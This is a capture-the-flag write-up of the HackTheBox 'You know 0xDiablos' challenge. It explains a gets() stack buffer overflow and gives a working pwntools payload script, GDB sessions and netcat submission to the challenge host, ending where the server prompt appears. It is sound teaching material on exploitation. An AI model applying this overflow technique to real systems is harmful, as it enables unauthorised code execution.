CHALLENGE INFORMATION

You know 0xDiablos LogoPlatform: HackTheBox
Collection: Beginner Track
Challenge: You know 0xDiablos

DESCRIPTION

I missed my flag.

SUMMARY

We perform static analysis using Ghidra to identify potential vulnerabilities. Upon discovering a buffer overflow vulnerability, we verify its existence and proceed to analyze the target architecture and endianness using pwntools’ checksec feature.

With this information in hand, we use GDB and PEDA to identify the offset and address of the flag() function. We then craft a malicious payload using pwntools to smash the stack and exploit the vulnerability. Before submitting the exploit to the target machine, we verify its effectiveness against a local copy of the executable. After successfully exploiting the target, we submit our exploit and retrieve the recovered flag.

Preparing Challenge Files

After a quick look at the challenge description, we proceed by downloading the challenge files.

Figure 1: Downloaded challenge archive and verification checksum

Figure 1: Downloaded challenge archive and verification checksum

The archive contains a single compressed file, You know 0xDiablos.zip. We verify its integrity using the provided SHA-256 checksum.

user@kali:~$ ll
...
-rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip'
user@kali:~$ echo -n "307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c  You know 0xDiablos.zip" | sha256sum -c
You know 0xDiablos.zip: OK
user@kali:~$

With the file verified, we proceed to decompress it.

user@kali:~$ unzip -P hackthebox You\ know\ 0xDiablos.zip 
Archive:  You know 0xDiablos.zip
   skipping: vuln                    need PK compat. v5.1 (can do v4.6)
user@kali:~$

The standard unzip utility fails with a compatibility error. Research indicates that the 7z archiver handles this format, and since it is already installed on the pwnbox, we use it to extract the files.

user@kali:~$ 7z x -phackthebox You\ know\ 0xDiablos.zip 
...
Extracting archive: You know 0xDiablos.zip
--
Path = You know 0xDiablos.zip
Type = zip
Physical Size = 3058

Everything is Ok

Size:       15656
Compressed: 3058
user@kali:~$ ll
...
-rw-r--r-- 1 user user  16K ...  vuln
-rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip'
user@kali:~$

Information Gathering

The archive contains a single file: vuln. Examining it with the file command reveals it to be a Linux executable.

user@kali:~$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
user@kali:~$

We grant the file execution permissions.

user@kali:~$ chmod a+x vuln
user@kali:~$ ll
...
-rwxr-xr-x 1 user user  16K ...  vuln
-rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip'
user@kali:~$

We execute the binary to observe its behavior.

user@kali:~$ ./vuln 
You know who are 0xDiablos: 
test
test
user@kali:~$

On first execution, the program simply echoes our input. We examine the printable strings within the binary to gather additional information.

user@kali:~$ strings vuln > vuln-strings.txt
user@kali:~$ cat vuln-strings.txt 
...
exit
fopen
puts
...
flag.txt
Hurry up and try in on server side.
You know who are 0xDiablos: 
...
flag
...
.init
.text
...
.data
.bss
.comment
user@kali:~$

Reverse Engineering - Static Analysis

The strings output references flag.txt and a flag function, so we proceed with disassembly using Ghidra.

This is how the decompiled vuln() function looks like:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
  char local_bc [180];
  
  gets(local_bc);
  puts(local_bc);
  return;
}

Static analysis reveals the following:

  • Function main() calls vuln(), which reads data from standard input and echoes it back.
  • Function vuln() uses the gets() function, which is known to be vulnerable to buffer overflow attacks.
  • The function uses a 180-character array to store input.
  • The flag() function opens flag.txt for reading, verifies two parameters, and returns a value if the checks pass.

This is how the decompiled flag() function looks in Ghidra:

Figure 2: Ghidra decompilation of the flag() function

Figure 2: Ghidra decompilation of the flag() function

The decompiled source code for flag() follows:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void flag(int param_1,int param_2)

{
  char local_50 [64];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 != (FILE *)0x0) {
    fgets(local_50,0x40,local_10);
    if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
      printf(local_50);
    }
    return;
  }
  puts("Hurry up and try in on server side.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

The parameter check is particularly significant:

...
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3))
...

We use Ghidra’s built-in functionality to convert these hexadecimal values to character representations:

Figure 3: Ghidra displaying the converted parameter values

Figure 3: Ghidra displaying the converted parameter values

These are the values we get:

...
if ((param_1 == L'\xdeadbeef') && (param_2 == L'\xc0ded00d')) {
...

We now have all the necessary components: a buffer overflow vulnerability in vuln() and a target function flag() that requires two specific parameters.

Buffer Overflow Vulnerabilities

Our objective is to overwrite the return address stored on the stack for vuln(), redirecting execution to flag() when vuln() returns.

A blog post from SANS provides additional detail on buffer overflows and stack canaries.

Key concepts regarding function calls and stack layout:

  • Before calling a function, the address of the next instruction is pushed onto the stack.
  • When the function returns, this address is popped from the stack into the instruction pointer.
  • The stack grows downward in memory.

Parameters are pushed onto the stack before the function is called. When calling flag(param_1, param_2), the stack frame would appear as follows:

Previous frame
param_2
param_1
Return address
Previous frame address
Local variables
Free memory

This technique of overwriting the return address via buffer overflow is commonly called smashing the stack. The process unfolds as follows:

  • Step-1: A function allocates a buffer on the stack – in our case, the local_bc variable in vuln().

  • Step-2: The function copies user-controlled data into the buffer without verifying that the data fits within the allocated space – gets() performs no bounds checking.

  • Step-3: User data overflows the buffer, overwriting adjacent stack variables up to the saved return address.

  • Step-4: When the function returns, the corrupted return address is loaded into the EIP (instruction pointer) register, redirecting execution.

  • Step-5: The program now executes attacker-controlled code – in this case, the flag() function.

The stack frame for vuln() appears as follows:

Previous frame – in main()
OVERWRITE – Return address for vuln()
OVERWRITE – Previous frame address; old EBP
Local variables; local_bc
Free memory

We verify the vulnerability by generating input exceeding the 180-byte buffer size.

user@kali:~$ python -c "print('A'*180)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*181)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*182)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*183)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*184)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
user@kali:~$ python -c "print('A'*185)" | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
user@kali:~$

Input of 184 bytes or more triggers a segmentation fault, indicating that we have successfully overwritten the return address with invalid data (the ASCII character A, hex 0x41).

GDB - PEDA

To locate the memory address of flag(), we employ GDB with the PEDA (Python Exploit Development Assistance) extension. First, we install PEDA.

user@kali:~$ git clone https://github.com/longld/peda.git ~/peda
Cloning into '/home/user/peda'...
...
Receiving objects: 100% (382/382), 290.84 KiB | 5.10 MiB/s, done.
Resolving deltas: 100% (231/231), done.
user@kali:~$ echo "source ~/peda/peda.py" >> ~/.gdbinit
user@kali:~$

With PEDA installed, we load the executable in GDB.

user@kali:~$ gdb vuln -q
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$

PEDA includes utilities for payload generation. We create a cyclic pattern to determine the exact offset at which the return address is overwritten.

gdb-peda$ pattern_create --help
Generate a cyclic pattern
Set "pattern" option for basic/extended pattern type
Usage:
    pattern_create size [file]

gdb-peda$ pattern_create 200 pattern-200.txt
Writing pattern of 200 chars to filename "pattern-200.txt"
gdb-peda$

We feed this pattern to the executable.

gdb-peda$ run < pattern-200.txt 
Starting program: /home/user/vuln < pattern-200.txt
You know who are 0xDiablos: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9 
EBX: 0x76414158 ('XAAv')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0x41594141 ('AAYA')
ESP: 0xffffd060 ("ZAAxAAyA")
EIP: 0x41417741 ('AwAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41417741
[------------------------------------stack-------------------------------------]
0000| 0xffffd060 ("ZAAxAAyA")
0004| 0xffffd064 ("AAyA")
0008| 0xffffd068 --> 0xffffd100 --> 0x1 
0012| 0xffffd06c --> 0x3eb 
0016| 0xffffd070 --> 0xffffd090 --> 0x1 
0020| 0xffffd074 --> 0x0 
0024| 0xffffd078 --> 0x0 
0028| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41417741 in ?? ()
gdb-peda$

The program crashes because the EIP register contains ‘AwAA’ (hex 0x41417741), indicating successful overwrite of the return address. We calculate the offset to determine how many bytes precede the return address.

gdb-peda$ pattern_offset 0x41417741
1094809409 found at offset: 188
gdb-peda$

The offset is 188 bytes. To redirect execution to flag(), we need its starting address. Disassembling flag() reveals the entry point at 0x080491e2.

gdb-peda$ disass flag
Dump of assembler code for function flag:
   0x080491e2 <+0>:	push   ebp
   0x080491e3 <+1>:	mov    ebp,esp
   0x080491e5 <+3>:	push   ebx
   0x080491e6 <+4>:	sub    esp,0x54
   0x080491e9 <+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x080491ee <+12>:	add    ebx,0x2e12
   0x080491f4 <+18>:	sub    esp,0x8
   0x080491f7 <+21>:	lea    eax,[ebx-0x1ff8]
   0x080491fd <+27>:	push   eax
   0x080491fe <+28>:	lea    eax,[ebx-0x1ff6]
   0x08049204 <+34>:	push   eax
   0x08049205 <+35>:	call   0x80490b0 <fopen@plt>
   0x0804920a <+40>:	add    esp,0x10
   0x0804920d <+43>:	mov    DWORD PTR [ebp-0xc],eax
   0x08049210 <+46>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x08049214 <+50>:	jne    0x8049232 <flag+80>
   0x08049216 <+52>:	sub    esp,0xc
   0x08049219 <+55>:	lea    eax,[ebx-0x1fec]
   0x0804921f <+61>:	push   eax
   0x08049220 <+62>:	call   0x8049070 <puts@plt>
   0x08049225 <+67>:	add    esp,0x10
   0x08049228 <+70>:	sub    esp,0xc
   0x0804922b <+73>:	push   0x0
   0x0804922d <+75>:	call   0x8049080 <exit@plt>
   0x08049232 <+80>:	sub    esp,0x4
   0x08049235 <+83>:	push   DWORD PTR [ebp-0xc]
   0x08049238 <+86>:	push   0x40
   0x0804923a <+88>:	lea    eax,[ebp-0x4c]
   0x0804923d <+91>:	push   eax
   0x0804923e <+92>:	call   0x8049050 <fgets@plt>
   0x08049243 <+97>:	add    esp,0x10
   0x08049246 <+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0804924d <+107>:	jne    0x8049269 <flag+135>
   0x0804924f <+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x08049256 <+116>:	jne    0x804926c <flag+138>
   0x08049258 <+118>:	sub    esp,0xc
   0x0804925b <+121>:	lea    eax,[ebp-0x4c]
   0x0804925e <+124>:	push   eax
   0x0804925f <+125>:	call   0x8049030 <printf@plt>
   0x08049264 <+130>:	add    esp,0x10
   0x08049267 <+133>:	jmp    0x804926d <flag+139>
   0x08049269 <+135>:	nop
   0x0804926a <+136>:	jmp    0x804926d <flag+139>
   0x0804926c <+138>:	nop
   0x0804926d <+139>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08049270 <+142>:	leave  
   0x08049271 <+143>:	ret    
End of assembler dump.
gdb-peda$

Generating Payload with pwntools

We proceed to create our exploit payload. The pwntools framework streamlines this process considerably.

Installation instructions are available on the project website; we follow the standard procedure.

apt-get update;
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential;
python3 -m pip install --upgrade pip;
python3 -m pip install --upgrade pwntools;

With pwntools installed, we create a Python script for payload generation.

user@kali:~$ touch payload-gen.py
user@kali:~$ codium payload-gen.py
user@kali:~$

We examine the binary’s security settings using checksec.

user@kali:~$ checksec --help
usage: pwn checksec [-h] [--file [elf ...]] [elf ...]

Check binary security settings

positional arguments:
  elf               Files to check

optional arguments:
  -h, --help        show this help message and exit
  --file [elf ...]  File to check (for compatibility with checksec.sh)
user@kali:~$ checksec vuln
[*] '/home/user/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
user@kali:~$

Several factors inform our payload construction:

  • The target is a 32-bit executable.
  • The architecture uses little-endian byte order (indicated by LSB in the file command output).

The payload generation script assembles the components we have gathered.

# payload-gen.py
from pwn import *

offset = 188
flag_addr = 0x080491e2
eip_addr = p32(flag_addr)
garbage = b'A'*offset

previous_frame = b'A'*4

param_1 = p32(0xdeadbeef)
param_2 = p32(0xc0ded00d)

payload = garbage + eip_addr + previous_frame + param_1 + param_2

with open("payload.txt", "wb") as file:
    file.write(payload)

Key aspects of the script:

  • The return address (eip_addr) is packed as a 32-bit little-endian integer using p32().
  • The output file is opened in binary write mode.
  • We follow the C calling convention for parameter ordering.
  • The previous_frame value serves as padding (exactly four bytes) to account for the saved base pointer.
  • Parameters are packed using the same little-endian format as the return address.

We test the payload by setting a breakpoint at flag().

user@kali:~$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$

We run the executable with our payload.

gdb-peda$ r < payload.txt 
Starting program: /home/user/vuln < payload.txt
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
[----------------------------------registers-----------------------------------]
EAX: 0xc1 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAA")
ESP: 0xffffd058 ("AAAAAAAA")
EIP: 0x80491e6 (<flag+4>:	sub    esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491e2 <flag>:	push   ebp
   0x80491e3 <flag+1>:	mov    ebp,esp
   0x80491e5 <flag+3>:	push   ebx
=> 0x80491e6 <flag+4>:	sub    esp,0x54
   0x80491e9 <flag+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x80491ee <flag+12>:	add    ebx,0x2e12
   0x80491f4 <flag+18>:	sub    esp,0x8
   0x80491f7 <flag+21>:	lea    eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ("AAAAAAAA")
0004| 0xffffd05c ("AAAA")
0008| 0xffffd060 --> 0x0 
0012| 0xffffd064 --> 0xffffd134 --> 0xffffd2ca ("/home/user/vuln")
0016| 0xffffd068 --> 0xffffd13c --> 0xffffd2f6 ("SHELL=/bin/bash")
0020| 0xffffd06c --> 0x3eb 
0024| 0xffffd070 --> 0xffffd090 --> 0x1 
0028| 0xffffd074 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$

Execution successfully reaches flag(). However, examination of the decompiled function reveals an additional requirement:

...
if (local_10 != (FILE *)0x0)
...

The function only prints the flag if flag.txt opens successfully. We create a local sample file for testing.

user@kali:~$ echo -n "SUCCESS" > flag.txt
user@kali:~$ cat flag.txt 
SUCCESS
user@kali:~$

We restart GDB.

user@kali:~$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$ r < payload.txt
Starting program: /home/user/vuln < payload.txt
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
[----------------------------------registers-----------------------------------]
EAX: 0xcd 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
EIP: 0x80491e6 (<flag+4>:	sub    esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491e2 <flag>:	push   ebp
   0x80491e3 <flag+1>:	mov    ebp,esp
   0x80491e5 <flag+3>:	push   ebx
=> 0x80491e6 <flag+4>:	sub    esp,0x54
   0x80491e9 <flag+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x80491ee <flag+12>:	add    ebx,0x2e12
   0x80491f4 <flag+18>:	sub    esp,0x8
   0x80491f7 <flag+21>:	lea    eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
0004| 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
0008| 0xffffd060 ("AAAAᆳ\336\r\320\336\300")
0012| 0xffffd064 --> 0xdeadbeef 
0016| 0xffffd068 --> 0xc0ded00d 
0020| 0xffffd06c --> 0x300 
0024| 0xffffd070 --> 0xffffd090 --> 0x1 
0028| 0xffffd074 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$

We set breakpoints at the parameter comparison instructions.

...
0x08049246 <+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
...
0x0804924f <+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
...
gdb-peda$ disass flag
Dump of assembler code for function flag:
   0x080491e2 <+0>:	push   ebp
   0x080491e3 <+1>:	mov    ebp,esp
   0x080491e5 <+3>:	push   ebx
=> 0x080491e6 <+4>:	sub    esp,0x54
   0x080491e9 <+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x080491ee <+12>:	add    ebx,0x2e12
   0x080491f4 <+18>:	sub    esp,0x8
   0x080491f7 <+21>:	lea    eax,[ebx-0x1ff8]
   0x080491fd <+27>:	push   eax
   0x080491fe <+28>:	lea    eax,[ebx-0x1ff6]
   0x08049204 <+34>:	push   eax
   0x08049205 <+35>:	call   0x80490b0 <fopen@plt>
   0x0804920a <+40>:	add    esp,0x10
   0x0804920d <+43>:	mov    DWORD PTR [ebp-0xc],eax
   0x08049210 <+46>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x08049214 <+50>:	jne    0x8049232 <flag+80>
   0x08049216 <+52>:	sub    esp,0xc
   0x08049219 <+55>:	lea    eax,[ebx-0x1fec]
   0x0804921f <+61>:	push   eax
   0x08049220 <+62>:	call   0x8049070 <puts@plt>
   0x08049225 <+67>:	add    esp,0x10
   0x08049228 <+70>:	sub    esp,0xc
   0x0804922b <+73>:	push   0x0
   0x0804922d <+75>:	call   0x8049080 <exit@plt>
   0x08049232 <+80>:	sub    esp,0x4
   0x08049235 <+83>:	push   DWORD PTR [ebp-0xc]
   0x08049238 <+86>:	push   0x40
   0x0804923a <+88>:	lea    eax,[ebp-0x4c]
   0x0804923d <+91>:	push   eax
   0x0804923e <+92>:	call   0x8049050 <fgets@plt>
   0x08049243 <+97>:	add    esp,0x10
   0x08049246 <+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0804924d <+107>:	jne    0x8049269 <flag+135>
   0x0804924f <+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x08049256 <+116>:	jne    0x804926c <flag+138>
   0x08049258 <+118>:	sub    esp,0xc
   0x0804925b <+121>:	lea    eax,[ebp-0x4c]
   0x0804925e <+124>:	push   eax
   0x0804925f <+125>:	call   0x8049030 <printf@plt>
   0x08049264 <+130>:	add    esp,0x10
   0x08049267 <+133>:	jmp    0x804926d <flag+139>
   0x08049269 <+135>:	nop
   0x0804926a <+136>:	jmp    0x804926d <flag+139>
   0x0804926c <+138>:	nop
   0x0804926d <+139>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08049270 <+142>:	leave  
   0x08049271 <+143>:	ret    
End of assembler dump.
gdb-peda$ b *0x08049246
Breakpoint 2 at 0x8049246
gdb-peda$ b *0x0804924f
Breakpoint 3 at 0x804924f
gdb-peda$

We continue execution.

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1 
ECX: 0x0 
EDX: 0xfbad2498 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x8049246 (<flag+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804923d <flag+91>:	push   eax
   0x804923e <flag+92>:	call   0x8049050 <fgets@plt>
   0x8049243 <flag+97>:	add    esp,0x10
=> 0x8049246 <flag+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x804924d <flag+107>:	jne    0x8049269 <flag+135>
   0x804924f <flag+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x8049256 <flag+116>:	jne    0x804926c <flag+138>
   0x8049258 <flag+118>:	sub    esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08049246 in flag ()
gdb-peda$

We verify that the registers contain the expected parameter values.

gdb-peda$ x/xw $ebp+0x8
0xffffd064:	0xdeadbeef
gdb-peda$ x/xw $ebp+0xc
0xffffd068:	0xc0ded00d
gdb-peda$

The parameters are set correctly. Continuing execution past both breakpoints displays our test flag value before the program crashes.

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1 
ECX: 0x0 
EDX: 0xfbad2498 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x804924f (<flag+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049243 <flag+97>:	add    esp,0x10
   0x8049246 <flag+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x804924d <flag+107>:	jne    0x8049269 <flag+135>
=> 0x804924f <flag+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x8049256 <flag+116>:	jne    0x804926c <flag+138>
   0x8049258 <flag+118>:	sub    esp,0xc
   0x804925b <flag+121>:	lea    eax,[ebp-0x4c]
   0x804925e <flag+124>:	push   eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x0804924f in flag ()
gdb-peda$ c
Continuing.
SUCCESS
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x7 
EBX: 0x41414141 ('AAAA')
ECX: 0x7 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd064 --> 0xdeadbeef 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd064 --> 0xdeadbeef 
0004| 0xffffd068 --> 0xc0ded00d 
0008| 0xffffd06c --> 0x300 
0012| 0xffffd070 --> 0xffffd090 --> 0x1 
0016| 0xffffd074 --> 0x0 
0020| 0xffffd078 --> 0x0 
0024| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>:	add    esp,0x10)
0028| 0xffffd080 --> 0xf7faa000 --> 0x1e3d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$

Verifying Results

The payload functions as expected in GDB. We verify it against the local executable.

user@kali:~$ cat payload.txt | ./vuln 
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
SUCCESSSegmentation fault
user@kali:~$

With local verification complete, we spawn the challenge instance and submit our payload to retrieve the flag.

user@kali:~$ cat payload.txt | nc 178.62.78.169 30660
You know who are 0xDiablos: 
